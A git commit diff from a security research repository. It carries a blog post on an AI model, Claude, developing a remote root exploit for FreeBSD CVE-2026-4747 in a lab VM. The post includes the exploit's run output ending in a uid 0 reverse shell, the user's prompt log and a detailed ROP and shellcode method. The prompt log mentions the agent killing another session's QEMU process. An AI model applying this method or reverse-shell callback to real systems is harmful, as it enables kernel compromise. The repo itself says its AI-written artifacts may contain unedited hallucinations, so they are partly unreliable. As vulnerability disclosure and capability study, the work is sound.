Add a note about the artifacts

This commit is contained in:
Thai Duong
2026-04-29 11:30:00 -07:00
parent a9d0b7d75b
commit ec10f77b44
23 changed files with 1897 additions and 1752 deletions
+4
View File
@@ -43,3 +43,7 @@ record shows where the model was right and where it wasn't.
- [`agent/ANALYSIS.md`](agent/ANALYSIS.md): disassembly-level root cause.
- [`agent/REPORT.md`](agent/REPORT.md): formal write-up, attack parameters, crash analysis.
- [`agent/README.md`](agent/README.md): the agent's run instructions and troubleshooting notes.
## A note on the artifacts
The write-ups and PoCs in this series are AI-generated and human-verified. We keep human editing to a minimum so the artifacts document the current state of the art, which means we don't edit out hallucinations or slop. We do verify that the PoCs work. The blog posts are written by humans.
+8 -210
View File
@@ -1,214 +1,12 @@
# MAD Bugs: Claude Wrote a Full FreeBSD Remote Kernel RCE with Root Shell (CVE-2026-4747)
To our knowledge, this is the first remote kernel exploit both discovered and exploited by an AI.
| File | What |
|---|---|
| [`blog.md`](blog.md) | Blog post (written by humans) |
| [`write-up.md`](write-up.md) | Technical write-up (AI-generated, human-verified) |
| [`exploit.py`](exploit.py) | Exploit (AI-generated, human-verified) |
| [`claude-prompts.txt`](claude-prompts.txt) | Prompt log |
**Timeline:**
## A note on the artifacts
- **2026-03-26:** FreeBSD published an advisory for [CVE-2026-4747, crediting "Nicholas Carlini using Claude, Anthropic"](https://www.freebsd.org/security/advisories/FreeBSD-SA-26:08.rpcsec_gss.asc) for a remote kernel code execution.
- **9:45AM PDT 2026-03-29:** We asked Claude to develop an exploit.
- **5:00PM PDT 2026-03-29:** Claude delivered a working exploit that drops a root shell.
**Total time: ~8 hours wall clock. The human was AFK for much of it; Claude's actual working time was ~4 hours.**
Claude actually wrote two exploits using two different strategies. Both worked on the first try. Here's what it looks like:
```
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
[*] Starting listener on 0.0.0.0:4444...
[*] Starting listener on 0.0.0.0:4444...
Target: 127.0.0.1:2049
Callback: 10.0.2.2:4444
SPN: nfs/freebsd-vuln@TEST.LOCAL
Shellcode: 432 bytes (54 qwords)
Delivery: 15 rounds (1 pmap + 14 write)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX)
[+] BSS is now RWX
[R2/15] write (4 qwords → 0xffffffff8198a800) ✓
[R3/15] write (4 qwords → 0xffffffff8198a820) ✓
[R4/15] write (4 qwords → 0xffffffff8198a840) ✓
[R5/15] write (4 qwords → 0xffffffff8198a860) ✓
[R6/15] write (4 qwords → 0xffffffff8198a880) ✓
[R7/15] write (4 qwords → 0xffffffff8198a8a0) ✓
[R8/15] write (4 qwords → 0xffffffff8198a8c0) ✓
[R9/15] write (4 qwords → 0xffffffff8198a8e0) ✓
[R10/15] write (4 qwords → 0xffffffff8198a900) ✓
[R11/15] write (4 qwords → 0xffffffff8198a920) ✓
[R12/15] write (4 qwords → 0xffffffff8198a940) ✓
[R13/15] write (4 qwords → 0xffffffff8198a960) ✓
[R14/15] write (4 qwords → 0xffffffff8198a980) ✓
[R15/15] write + EXECUTE (2 qwords → 0xffffffff8198a9a0) → JUMP 0xffffffff8198a800
[*] Shellcode delivered and executing.
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] Reverse shell → 10.0.2.2:4444
[*] Waiting for reverse shell...
[+] Connection from 127.0.0.1:41320
[+] Got shell!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
```
Check out the full [exploit](exploit.py) and the [write-up](write-up.md). Claude wrote everything itself. Here are the prompts we used (excuse the typos):
```
1. https://www.freebsd.org/security/advisories/FreeBSD-SA-26:08.rpcsec_gss.asc we want to setup a test env for this vulnerability using docker preferably so the docker files can be copied later for easy repro. password for this vm is x , you should setup a vulnerable version of FreeBSD the latest it mentions and then trigger the vulnerability
2. we want to use docker for this not qemu if possible.. we should still be able to connect and debug it the same i assume
3. why does it need to be QEMU and not docker for this to be a real exploit?
4. no just use QEMU then
5. okay now can you maybe generate an entire RCE exploit for this image ?
6. wait what are you compiling? arent we testing it inside of the Fbsd VM using the actual FBSD module as described in the advisory ?
7. i mean why wouldnt you just install a vulnerable version as mentioned in the advisory
8. okay contoninue to trigger this vuln.
9. what old qemu did you kill? we are using qemu in another session as well. do not kill that Linux qemu.
10. why is it running on 2222 2049 and 1111
11. okay now what about getting RCE.
12. tere is no kaslr so it should be easy
13. install ropgadget or what ever you need ... idk
14. no we dont want to reboot? we want a reverse shell as uid 0 if possible ?
15. okay in ../FBSD-001 there is a different remote exploit that gets a shell.. read it for how they constructed the connect back as uid 0 maybe
16. is the ucred write even needed if the proc is uid0 ? and why dont we get a shell ? or can we demon strait somehow a unpriv non root user that elevates to root? but we still want a shell.. as uid0
17. from a remote context aka the exploit should be executed from outside the vm
18. no just continue to get the remote version working. use gdb and hat ever tools you need.
19. you should do this step by step - for the remote version foucs on triggering then getting PC control then the rop.
20. you need to keep notes of our current status and what you have done to get here. thanks.
21. you should verify everything with gdb if you need etc.
22. 1. Pure ROP — no shellcode needed, but we're stuck on rax→rdi transfer (no gadget exists in this kernel) how are ou searching for rop gadgets?
23. why do we need kdc ?
24. nope that wont work as we cant do that from a remote exploit context without having accss to the shell
25. dont think we can prestage a /tmp/x ..
26. working means a connectback shell as uid0
27. when you get it workng i want a complete writeup of th evuln, the exploit methodology, the ropchain, the overflow, and how to install and setup a vuln target
for testing
28. i want a shell.
29. wait what do you mean increase nfs threadcount i guess we should use defaults here..
30. no just continue to get the remote version working. use gdb and hat ever tools you need.
31. make the writeup better explaining each step of the exploit and why
32. also # SSH tunnel for Kerberos KDC sshpass -p freebsd ssh -L 8888:127.0.0.1:88 -N -f -p 2222 root@127.0.0.1 is it possible to do without an ssh tunnel ?
33. can you do the forward nstead of ssh tunnel then test the exploit again
34. /tmp/final_exploit hardly looks like the final exploit ...
35. why dont you make a nicer exploit where you can supply a target and cb ip ... and do everything inline in that exploit
36. the rop / shellcode everything ..
37. the writeup feels kind of bare, explain the shellcode as if the reader has never seen FBSD001 also what do you mean the "bruteforce" version?
38. also retest and verify it works
39. update the writeup to tell how to also setup a vulnerable target using vmware for example without a KDC tunnel
40. how can i boot the qemu and test it
41. why is KDC required? and nfsd ?
42. okay you noted this stuff in the writeup?
43. do you have the prompt log ? i want to see the original prompt for this
44. can you give me back all the prompts i entered in this session
```
## What Claude Accomplished
Going from a vulnerability advisory to a working remote root shell required Claude to solve six distinct problems. It's worth noting that FreeBSD made this easier than it would be on a modern Linux kernel: FreeBSD 14.x has no KASLR (kernel addresses are fixed and predictable) and no stack canaries for integer arrays (the overflowed buffer is `int32_t[]`).
0. **Lab setup**: Stand up a FreeBSD VM with NFS, Kerberos, and the vulnerable kernel module, all configured so the overflow is reachable over the network. Claude knew the VM needed 2+ CPUs because FreeBSD spawns 8 NFS threads per CPU, and the exploit kills one thread per round. This included setting up remote debugging so Claude could read kernel crash dumps.
1. **Multi-packet delivery**: The shellcode doesn't fit in one packet. Claude devised a 15-round strategy: make kernel memory executable, then write shellcode 32 bytes at a time across 14 packets. In another exploit privately shared with us, Claude used a different strategy: writing a public key to `.ssh/authorized_keys` instead of a reverse shell, which shortened the exploit to 6 rounds.
2. **Clean thread exit**: Each overflow hijacks an NFS kernel thread. Claude used `kthread_exit()` to terminate each thread cleanly, keeping the server alive for the next round.
3. **Offset debugging**: The initial stack offsets from disassembly were wrong. Claude sent [De Bruijn patterns](https://en.wikipedia.org/wiki/De_Bruijn_sequence) (a common technique, but a term we hadn't heard of before reading the writeup), read the crash dumps, and corrected the offsets.
4. **Kernel-to-userland transition**: NFS threads can't run userland programs. Claude created a new process via `kproc_create()`, used `kern_execve()` to replace it with `/bin/sh`, and cleared the `P_KPROC` flag so the process could transition to user mode.
5. **Hardware breakpoint bug**: The child process kept crashing with a debug exception. Claude traced this to stale debug registers inherited from DDB and fixed it by clearing DR7 before forking.
If your head hasn't exploded yet, here are the details.
## Background
CVE-2026-4747 is a remote kernel code execution vulnerability in FreeBSD's `kgssapi.ko` kernel module, which implements RPCSEC_GSS authentication for NFS. The bug is a classic stack buffer overflow: `svc_rpc_gss_validate()` copies an attacker-controlled credential body into a 128-byte stack buffer (`rpchdr[]`) without checking the length. Since 32 bytes of the buffer are already used by RPC header fields, only 96 bytes remain: but the XDR layer allows credentials up to 400 bytes, giving 304 bytes of overflow past the buffer.
The overflow happens in kernel context (ring 0) on an NFS worker thread, so controlling RIP means full kernel code execution. However, reaching the vulnerable `memcpy` requires a valid Kerberos GSS context: the attacker needs any valid Kerberos ticket (even unprivileged) for the NFS service principal.
Claude started with this textbook stack buffer overflow and turned it into a reliable 15-round remote root shell. Here are the key tasks, roughly in the order they were solved.
## Step 0: Lab Setup
Before any exploit development, Claude had to build a working test environment: a FreeBSD 14.4-RELEASE VM with the vulnerable code path reachable over the network. This meant:
- Installing FreeBSD with **2+ CPUs** (each CPU spawns 8 NFS threads; the exploit needs 15 rounds, so 1 CPU isn't enough)
- Loading `kgssapi.ko` and enabling the NFS server on port 2049/TCP
- Standing up an **MIT Kerberos KDC** on the VM itself, creating service principals (`nfs/test@TEST.LOCAL`), and extracting keytabs: because the vulnerable `memcpy` is only reachable through a fully authenticated RPCSEC_GSS code path
- On the attacker host, configuring `/etc/krb5.conf` with `rdns = false` and `dns_canonicalize_hostname = false`: without these, MIT Kerberos canonicalizes the target hostname via reverse DNS, producing a ticket for `nfs/localhost@TEST.LOCAL` instead of `nfs/test@TEST.LOCAL`. The server rejects the mismatch with `KRB5KRB_AP_WRONG_PRINC` and the overflow is never reached
- Port forwarding (QEMU user-mode NAT: host 2049 to guest 2049, host 8888 to guest 88) so the attacker can reach both NFS and the KDC
- Running QEMU with `-nographic` so kernel panic output goes to a log file Claude can read with its tools: this is how crash register values from De Bruijn patterns are captured
The Kerberos setup was non-trivial. The vulnerability requires a valid GSS context before the overflow triggers, so the entire Kerberos infrastructure (KDC, principals, keytabs, ticket acquisition) had to work end-to-end before exploit development could even begin.
## Step 1: Multi-Packet Delivery Strategy
The core constraint: the XDR layer caps credentials at 400 bytes, but after the GSS header, padding, and saved registers, only **200 bytes** remain for the ROP chain. The shellcode is 432 bytes: it simply doesn't fit in one packet.
Claude's solution was to treat the exploit as a **staged write loop**. Round 1 uses ROP to call `pmap_change_prot()` to make kernel BSS writable+executable. Rounds 2-15 each use a `pop rdi / pop rax / mov [rdi], rax` primitive to write 32 bytes of shellcode to BSS per packet. The final round writes the last bytes and jumps to the shellcode. This turns a tight 200-byte ROP budget into an unlimited write primitive: it just takes more packets.
Each 8-byte write costs 40 bytes of ROP chain (3 gadgets + 2 immediates). Four writes per round = 160 bytes, plus 24 bytes for the clean exit = 184 bytes, fitting within the 200-byte budget. Five writes would need 224 bytes: too much.
Claude also recognized that each round kills an NFS thread, counted how many threads FreeBSD spawns per CPU (8), and determined the VM needs 2+ CPUs to survive all 15 rounds.
## Step 2: Clean Thread Exit (Avoiding Panics)
The obvious problem with hijacking RIP via stack overflow: once the ROP chain finishes, what happens? Returning normally would pop garbage from the corrupted stack and panic. Claude solved this by ending every ROP chain with `kthread_exit(0)`, which cleanly terminates the current NFS worker thread. The kernel doesn't panic: it just has one fewer NFS thread. The NFS server keeps running, ready to accept the next round's connection.
## Step 3: Debugging the RIP Offset (De Bruijn Pattern)
The initial offset calculation from static disassembly said RIP should be at credential byte 168. It wasn't: the exploit crashed at the wrong place or didn't crash at all. Claude sent a **De Bruijn cyclic pattern** as the credential body, read the faulting instruction pointer from the QEMU console log after the kernel panicked, and looked up that 8-byte value in the pattern. The answer: byte **200**, not 168. The 32-byte difference came from the GSS header (version, procedure, sequence, service, 16-byte handle) being part of the credential body: something the static disassembly analysis hadn't accounted for.
A De Bruijn sequence has the property that every n-byte substring is unique. This is a fancy name for a common technique to calculate offsets. When the kernel panics from an invalid return address, FreeBSD prints a trap frame dump to the console:
```
Fatal trap 12: page fault while in kernel mode
instruction pointer = 0x20:0x6941624162413941
frame pointer = 0x28:0x4130624139614839
```
Each register value maps to exactly one offset in the pattern. One crash gives you the offset for every overwritten register simultaneously. Since Claude ran QEMU with output redirected to a log file, it could read the crash dump with its file reading tools and compute the offsets programmatically.
## Step 4: Kernel to User Mode Transition
This was the deepest technical challenge. The shellcode runs on a hijacked NFS thread, which is a pure kernel thread: no user vmspace, no trapframe, no way to `iretq` back to userland. You can't just call `execve()`.
Claude's solution was a two-phase design:
- **Phase 1 (entry):** Call `kproc_create()`, which internally calls `fork1()` to create a brand-new process with all the user-mode infrastructure (proc, thread, vmspace, trapframe). Then `kthread_exit()` to kill the NFS thread.
- **Phase 2 (worker):** Running in the new process via `fork_exit` callback, call `kern_execve("/bin/sh", "-c", REVSHELL)`. This loads the ELF binary, sets up the trapframe with user-mode RIP/RSP/CS/SS, and returns `EJUSTRETURN`. Then **clear the `P_KPROC` flag**: without this, `fork_exit()` would call `kthread_exit()` and kill the process before it ever reaches userland. With `P_KPROC` cleared, `fork_exit()` takes the normal path: `userret()``doreti``iretq` → CPU switches to ring 3 → `/bin/sh` runs as uid 0.
The return path in detail:
1. `kern_execve()` loads `/bin/sh` into the process's new vmspace
2. It sets up the thread's trapframe: `tf_rip` = ELF entry point, `tf_rsp` = user stack, `tf_cs`/`tf_ss` = user-mode segments (CPL 3)
3. The worker clears `P_KPROC` (bit 0x04 at `proc->p_flag`) and returns to `fork_exit()`
4. `fork_exit()` calls `userret(td)` (processes signals, adjusts segments)
5. `fork_exit()` returns to `doreti` which executes `iretq`
6. `iretq` pops the trapframe: CPU transitions from ring 0 to ring 3
7. `/bin/sh` runs in userland as uid 0, executes the reverse shell command
## Step 5: The Hardware Breakpoint Mystery (DR7/DDB)
After everything else was working: shellcode executing, `kproc_create` succeeding, process names visible in `ps`: the worker kept crashing with **trap 1** (debug exception) at a perfectly valid instruction. This made no sense.
Claude traced it to an inherited side effect: during exploit development, earlier failed attempts had caused kernel panics that dropped into **DDB** (FreeBSD's kernel debugger). DDB sets hardware breakpoints in the x86 debug registers (DR0-DR3 for addresses, DR7 for control). These registers live in the thread's PCB (Process Control Block). When `kproc_create` calls `fork1()` to copy the parent's PCB to the child, the child inherits the stale breakpoints. When the worker's code happened to touch a watched address, the CPU fired a debug exception: trap 1: panic.
The fix: two instructions in the entry shellcode before `kproc_create`:
```asm
xor eax, eax
mov dr7, rax ; disable all hardware breakpoints
```
DR7 is the control register: zeroing it disables all four breakpoints without needing to clear DR0-DR3 individually. This ensures the child process starts with clean debug registers, regardless of what DDB did to the parent.
# Conclusion
Computers have always been able to find bugs in software. Fuzzers like AFL and syzkaller have been discovering kernel vulnerabilities for over a decade. But finding a bug and exploiting it are very different things. Exploit development requires understanding OS internals, crafting ROP chains, managing memory layouts, debugging crashes, and adapting when things go wrong. This has long been considered the frontier that only humans can cross.
Each new AI capability is usually met with “AI can do Y, but only humans can do X.” Well, for X = exploit development, that line just moved.
The write-ups and PoCs in this series are AI-generated and human-verified. We keep human editing to a minimum so the artifacts document the current state of the art, which means we don't edit out hallucinations or slop. We do verify that the PoCs work. The blog post is written by humans.
+214
View File
@@ -0,0 +1,214 @@
# MAD Bugs: Claude Wrote a Full FreeBSD Remote Kernel RCE with Root Shell (CVE-2026-4747)
To our knowledge, this is the first remote kernel exploit both discovered and exploited by an AI.
**Timeline:**
- **2026-03-26:** FreeBSD published an advisory for [CVE-2026-4747, crediting "Nicholas Carlini using Claude, Anthropic"](https://www.freebsd.org/security/advisories/FreeBSD-SA-26:08.rpcsec_gss.asc) for a remote kernel code execution.
- **9:45AM PDT 2026-03-29:** We asked Claude to develop an exploit.
- **5:00PM PDT 2026-03-29:** Claude delivered a working exploit that drops a root shell.
**Total time: ~8 hours wall clock. The human was AFK for much of it; Claude's actual working time was ~4 hours.**
Claude actually wrote two exploits using two different strategies. Both worked on the first try. Here's what it looks like:
```
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
[*] Starting listener on 0.0.0.0:4444...
[*] Starting listener on 0.0.0.0:4444...
Target: 127.0.0.1:2049
Callback: 10.0.2.2:4444
SPN: nfs/freebsd-vuln@TEST.LOCAL
Shellcode: 432 bytes (54 qwords)
Delivery: 15 rounds (1 pmap + 14 write)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX)
[+] BSS is now RWX
[R2/15] write (4 qwords → 0xffffffff8198a800) ✓
[R3/15] write (4 qwords → 0xffffffff8198a820) ✓
[R4/15] write (4 qwords → 0xffffffff8198a840) ✓
[R5/15] write (4 qwords → 0xffffffff8198a860) ✓
[R6/15] write (4 qwords → 0xffffffff8198a880) ✓
[R7/15] write (4 qwords → 0xffffffff8198a8a0) ✓
[R8/15] write (4 qwords → 0xffffffff8198a8c0) ✓
[R9/15] write (4 qwords → 0xffffffff8198a8e0) ✓
[R10/15] write (4 qwords → 0xffffffff8198a900) ✓
[R11/15] write (4 qwords → 0xffffffff8198a920) ✓
[R12/15] write (4 qwords → 0xffffffff8198a940) ✓
[R13/15] write (4 qwords → 0xffffffff8198a960) ✓
[R14/15] write (4 qwords → 0xffffffff8198a980) ✓
[R15/15] write + EXECUTE (2 qwords → 0xffffffff8198a9a0) → JUMP 0xffffffff8198a800
[*] Shellcode delivered and executing.
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] Reverse shell → 10.0.2.2:4444
[*] Waiting for reverse shell...
[+] Connection from 127.0.0.1:41320
[+] Got shell!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
```
Check out the full [exploit](exploit.py) and the [write-up](write-up.md). Claude wrote everything itself. Here are the prompts we used (excuse the typos):
```
1. https://www.freebsd.org/security/advisories/FreeBSD-SA-26:08.rpcsec_gss.asc we want to setup a test env for this vulnerability using docker preferably so the docker files can be copied later for easy repro. password for this vm is x , you should setup a vulnerable version of FreeBSD the latest it mentions and then trigger the vulnerability
2. we want to use docker for this not qemu if possible.. we should still be able to connect and debug it the same i assume
3. why does it need to be QEMU and not docker for this to be a real exploit?
4. no just use QEMU then
5. okay now can you maybe generate an entire RCE exploit for this image ?
6. wait what are you compiling? arent we testing it inside of the Fbsd VM using the actual FBSD module as described in the advisory ?
7. i mean why wouldnt you just install a vulnerable version as mentioned in the advisory
8. okay contoninue to trigger this vuln.
9. what old qemu did you kill? we are using qemu in another session as well. do not kill that Linux qemu.
10. why is it running on 2222 2049 and 1111
11. okay now what about getting RCE.
12. tere is no kaslr so it should be easy
13. install ropgadget or what ever you need ... idk
14. no we dont want to reboot? we want a reverse shell as uid 0 if possible ?
15. okay in ../FBSD-001 there is a different remote exploit that gets a shell.. read it for how they constructed the connect back as uid 0 maybe
16. is the ucred write even needed if the proc is uid0 ? and why dont we get a shell ? or can we demon strait somehow a unpriv non root user that elevates to root? but we still want a shell.. as uid0
17. from a remote context aka the exploit should be executed from outside the vm
18. no just continue to get the remote version working. use gdb and hat ever tools you need.
19. you should do this step by step - for the remote version foucs on triggering then getting PC control then the rop.
20. you need to keep notes of our current status and what you have done to get here. thanks.
21. you should verify everything with gdb if you need etc.
22. 1. Pure ROP — no shellcode needed, but we're stuck on rax→rdi transfer (no gadget exists in this kernel) how are ou searching for rop gadgets?
23. why do we need kdc ?
24. nope that wont work as we cant do that from a remote exploit context without having accss to the shell
25. dont think we can prestage a /tmp/x ..
26. working means a connectback shell as uid0
27. when you get it workng i want a complete writeup of th evuln, the exploit methodology, the ropchain, the overflow, and how to install and setup a vuln target
for testing
28. i want a shell.
29. wait what do you mean increase nfs threadcount i guess we should use defaults here..
30. no just continue to get the remote version working. use gdb and hat ever tools you need.
31. make the writeup better explaining each step of the exploit and why
32. also # SSH tunnel for Kerberos KDC sshpass -p freebsd ssh -L 8888:127.0.0.1:88 -N -f -p 2222 root@127.0.0.1 is it possible to do without an ssh tunnel ?
33. can you do the forward nstead of ssh tunnel then test the exploit again
34. /tmp/final_exploit hardly looks like the final exploit ...
35. why dont you make a nicer exploit where you can supply a target and cb ip ... and do everything inline in that exploit
36. the rop / shellcode everything ..
37. the writeup feels kind of bare, explain the shellcode as if the reader has never seen FBSD001 also what do you mean the "bruteforce" version?
38. also retest and verify it works
39. update the writeup to tell how to also setup a vulnerable target using vmware for example without a KDC tunnel
40. how can i boot the qemu and test it
41. why is KDC required? and nfsd ?
42. okay you noted this stuff in the writeup?
43. do you have the prompt log ? i want to see the original prompt for this
44. can you give me back all the prompts i entered in this session
```
## What Claude Accomplished
Going from a vulnerability advisory to a working remote root shell required Claude to solve six distinct problems. It's worth noting that FreeBSD made this easier than it would be on a modern Linux kernel: FreeBSD 14.x has no KASLR (kernel addresses are fixed and predictable) and no stack canaries for integer arrays (the overflowed buffer is `int32_t[]`).
0. **Lab setup**: Stand up a FreeBSD VM with NFS, Kerberos, and the vulnerable kernel module, all configured so the overflow is reachable over the network. Claude knew the VM needed 2+ CPUs because FreeBSD spawns 8 NFS threads per CPU, and the exploit kills one thread per round. This included setting up remote debugging so Claude could read kernel crash dumps.
1. **Multi-packet delivery**: The shellcode doesn't fit in one packet. Claude devised a 15-round strategy: make kernel memory executable, then write shellcode 32 bytes at a time across 14 packets. In another exploit privately shared with us, Claude used a different strategy: writing a public key to `.ssh/authorized_keys` instead of a reverse shell, which shortened the exploit to 6 rounds.
2. **Clean thread exit**: Each overflow hijacks an NFS kernel thread. Claude used `kthread_exit()` to terminate each thread cleanly, keeping the server alive for the next round.
3. **Offset debugging**: The initial stack offsets from disassembly were wrong. Claude sent [De Bruijn patterns](https://en.wikipedia.org/wiki/De_Bruijn_sequence) (a common technique, but a term we hadn't heard of before reading the writeup), read the crash dumps, and corrected the offsets.
4. **Kernel-to-userland transition**: NFS threads can't run userland programs. Claude created a new process via `kproc_create()`, used `kern_execve()` to replace it with `/bin/sh`, and cleared the `P_KPROC` flag so the process could transition to user mode.
5. **Hardware breakpoint bug**: The child process kept crashing with a debug exception. Claude traced this to stale debug registers inherited from DDB and fixed it by clearing DR7 before forking.
If your head hasn't exploded yet, here are the details.
## Background
CVE-2026-4747 is a remote kernel code execution vulnerability in FreeBSD's `kgssapi.ko` kernel module, which implements RPCSEC_GSS authentication for NFS. The bug is a classic stack buffer overflow: `svc_rpc_gss_validate()` copies an attacker-controlled credential body into a 128-byte stack buffer (`rpchdr[]`) without checking the length. Since 32 bytes of the buffer are already used by RPC header fields, only 96 bytes remain: but the XDR layer allows credentials up to 400 bytes, giving 304 bytes of overflow past the buffer.
The overflow happens in kernel context (ring 0) on an NFS worker thread, so controlling RIP means full kernel code execution. However, reaching the vulnerable `memcpy` requires a valid Kerberos GSS context: the attacker needs any valid Kerberos ticket (even unprivileged) for the NFS service principal.
Claude started with this textbook stack buffer overflow and turned it into a reliable 15-round remote root shell. Here are the key tasks, roughly in the order they were solved.
## Step 0: Lab Setup
Before any exploit development, Claude had to build a working test environment: a FreeBSD 14.4-RELEASE VM with the vulnerable code path reachable over the network. This meant:
- Installing FreeBSD with **2+ CPUs** (each CPU spawns 8 NFS threads; the exploit needs 15 rounds, so 1 CPU isn't enough)
- Loading `kgssapi.ko` and enabling the NFS server on port 2049/TCP
- Standing up an **MIT Kerberos KDC** on the VM itself, creating service principals (`nfs/test@TEST.LOCAL`), and extracting keytabs: because the vulnerable `memcpy` is only reachable through a fully authenticated RPCSEC_GSS code path
- On the attacker host, configuring `/etc/krb5.conf` with `rdns = false` and `dns_canonicalize_hostname = false`: without these, MIT Kerberos canonicalizes the target hostname via reverse DNS, producing a ticket for `nfs/localhost@TEST.LOCAL` instead of `nfs/test@TEST.LOCAL`. The server rejects the mismatch with `KRB5KRB_AP_WRONG_PRINC` and the overflow is never reached
- Port forwarding (QEMU user-mode NAT: host 2049 to guest 2049, host 8888 to guest 88) so the attacker can reach both NFS and the KDC
- Running QEMU with `-nographic` so kernel panic output goes to a log file Claude can read with its tools: this is how crash register values from De Bruijn patterns are captured
The Kerberos setup was non-trivial. The vulnerability requires a valid GSS context before the overflow triggers, so the entire Kerberos infrastructure (KDC, principals, keytabs, ticket acquisition) had to work end-to-end before exploit development could even begin.
## Step 1: Multi-Packet Delivery Strategy
The core constraint: the XDR layer caps credentials at 400 bytes, but after the GSS header, padding, and saved registers, only **200 bytes** remain for the ROP chain. The shellcode is 432 bytes: it simply doesn't fit in one packet.
Claude's solution was to treat the exploit as a **staged write loop**. Round 1 uses ROP to call `pmap_change_prot()` to make kernel BSS writable+executable. Rounds 2-15 each use a `pop rdi / pop rax / mov [rdi], rax` primitive to write 32 bytes of shellcode to BSS per packet. The final round writes the last bytes and jumps to the shellcode. This turns a tight 200-byte ROP budget into an unlimited write primitive: it just takes more packets.
Each 8-byte write costs 40 bytes of ROP chain (3 gadgets + 2 immediates). Four writes per round = 160 bytes, plus 24 bytes for the clean exit = 184 bytes, fitting within the 200-byte budget. Five writes would need 224 bytes: too much.
Claude also recognized that each round kills an NFS thread, counted how many threads FreeBSD spawns per CPU (8), and determined the VM needs 2+ CPUs to survive all 15 rounds.
## Step 2: Clean Thread Exit (Avoiding Panics)
The obvious problem with hijacking RIP via stack overflow: once the ROP chain finishes, what happens? Returning normally would pop garbage from the corrupted stack and panic. Claude solved this by ending every ROP chain with `kthread_exit(0)`, which cleanly terminates the current NFS worker thread. The kernel doesn't panic: it just has one fewer NFS thread. The NFS server keeps running, ready to accept the next round's connection.
## Step 3: Debugging the RIP Offset (De Bruijn Pattern)
The initial offset calculation from static disassembly said RIP should be at credential byte 168. It wasn't: the exploit crashed at the wrong place or didn't crash at all. Claude sent a **De Bruijn cyclic pattern** as the credential body, read the faulting instruction pointer from the QEMU console log after the kernel panicked, and looked up that 8-byte value in the pattern. The answer: byte **200**, not 168. The 32-byte difference came from the GSS header (version, procedure, sequence, service, 16-byte handle) being part of the credential body: something the static disassembly analysis hadn't accounted for.
A De Bruijn sequence has the property that every n-byte substring is unique. This is a fancy name for a common technique to calculate offsets. When the kernel panics from an invalid return address, FreeBSD prints a trap frame dump to the console:
```
Fatal trap 12: page fault while in kernel mode
instruction pointer = 0x20:0x6941624162413941
frame pointer = 0x28:0x4130624139614839
```
Each register value maps to exactly one offset in the pattern. One crash gives you the offset for every overwritten register simultaneously. Since Claude ran QEMU with output redirected to a log file, it could read the crash dump with its file reading tools and compute the offsets programmatically.
## Step 4: Kernel to User Mode Transition
This was the deepest technical challenge. The shellcode runs on a hijacked NFS thread, which is a pure kernel thread: no user vmspace, no trapframe, no way to `iretq` back to userland. You can't just call `execve()`.
Claude's solution was a two-phase design:
- **Phase 1 (entry):** Call `kproc_create()`, which internally calls `fork1()` to create a brand-new process with all the user-mode infrastructure (proc, thread, vmspace, trapframe). Then `kthread_exit()` to kill the NFS thread.
- **Phase 2 (worker):** Running in the new process via `fork_exit` callback, call `kern_execve("/bin/sh", "-c", REVSHELL)`. This loads the ELF binary, sets up the trapframe with user-mode RIP/RSP/CS/SS, and returns `EJUSTRETURN`. Then **clear the `P_KPROC` flag**: without this, `fork_exit()` would call `kthread_exit()` and kill the process before it ever reaches userland. With `P_KPROC` cleared, `fork_exit()` takes the normal path: `userret()``doreti``iretq` → CPU switches to ring 3 → `/bin/sh` runs as uid 0.
The return path in detail:
1. `kern_execve()` loads `/bin/sh` into the process's new vmspace
2. It sets up the thread's trapframe: `tf_rip` = ELF entry point, `tf_rsp` = user stack, `tf_cs`/`tf_ss` = user-mode segments (CPL 3)
3. The worker clears `P_KPROC` (bit 0x04 at `proc->p_flag`) and returns to `fork_exit()`
4. `fork_exit()` calls `userret(td)` (processes signals, adjusts segments)
5. `fork_exit()` returns to `doreti` which executes `iretq`
6. `iretq` pops the trapframe: CPU transitions from ring 0 to ring 3
7. `/bin/sh` runs in userland as uid 0, executes the reverse shell command
## Step 5: The Hardware Breakpoint Mystery (DR7/DDB)
After everything else was working: shellcode executing, `kproc_create` succeeding, process names visible in `ps`: the worker kept crashing with **trap 1** (debug exception) at a perfectly valid instruction. This made no sense.
Claude traced it to an inherited side effect: during exploit development, earlier failed attempts had caused kernel panics that dropped into **DDB** (FreeBSD's kernel debugger). DDB sets hardware breakpoints in the x86 debug registers (DR0-DR3 for addresses, DR7 for control). These registers live in the thread's PCB (Process Control Block). When `kproc_create` calls `fork1()` to copy the parent's PCB to the child, the child inherits the stale breakpoints. When the worker's code happened to touch a watched address, the CPU fired a debug exception: trap 1: panic.
The fix: two instructions in the entry shellcode before `kproc_create`:
```asm
xor eax, eax
mov dr7, rax ; disable all hardware breakpoints
```
DR7 is the control register: zeroing it disables all four breakpoints without needing to clear DR0-DR3 individually. This ensures the child process starts with clean debug registers, regardless of what DDB did to the parent.
# Conclusion
Computers have always been able to find bugs in software. Fuzzers like AFL and syzkaller have been discovering kernel vulnerabilities for over a decade. But finding a bug and exploiting it are very different things. Exploit development requires understanding OS internals, crafting ROP chains, managing memory layouts, debugging crashes, and adapting when things go wrong. This has long been considered the frontier that only humans can cross.
Each new AI capability is usually met with “AI can do Y, but only humans can do X.” Well, for X = exploit development, that line just moved.
+4
View File
@@ -6,6 +6,10 @@ Were here to uncover the most interesting security bugs and exploits with AI,
Between now and the end of April 2026, well be dropping what we find in this repo and on [our blog](https://blog.calif.io/t/madbugs).
## A note on the artifacts
The write-ups and PoCs in this series are AI-generated and human-verified. We keep human editing to a minimum so the artifacts document the current state of the art, which means we don't edit out hallucinations or slop. We do verify that the PoCs work. The blog posts are written by humans.
## Bugs and Exploits
* 2026-03-30: [Vim tabpanel modeline RCE affects Vim < 9.2.0272](vim-vs-emacs-vs-claude)
+6
View File
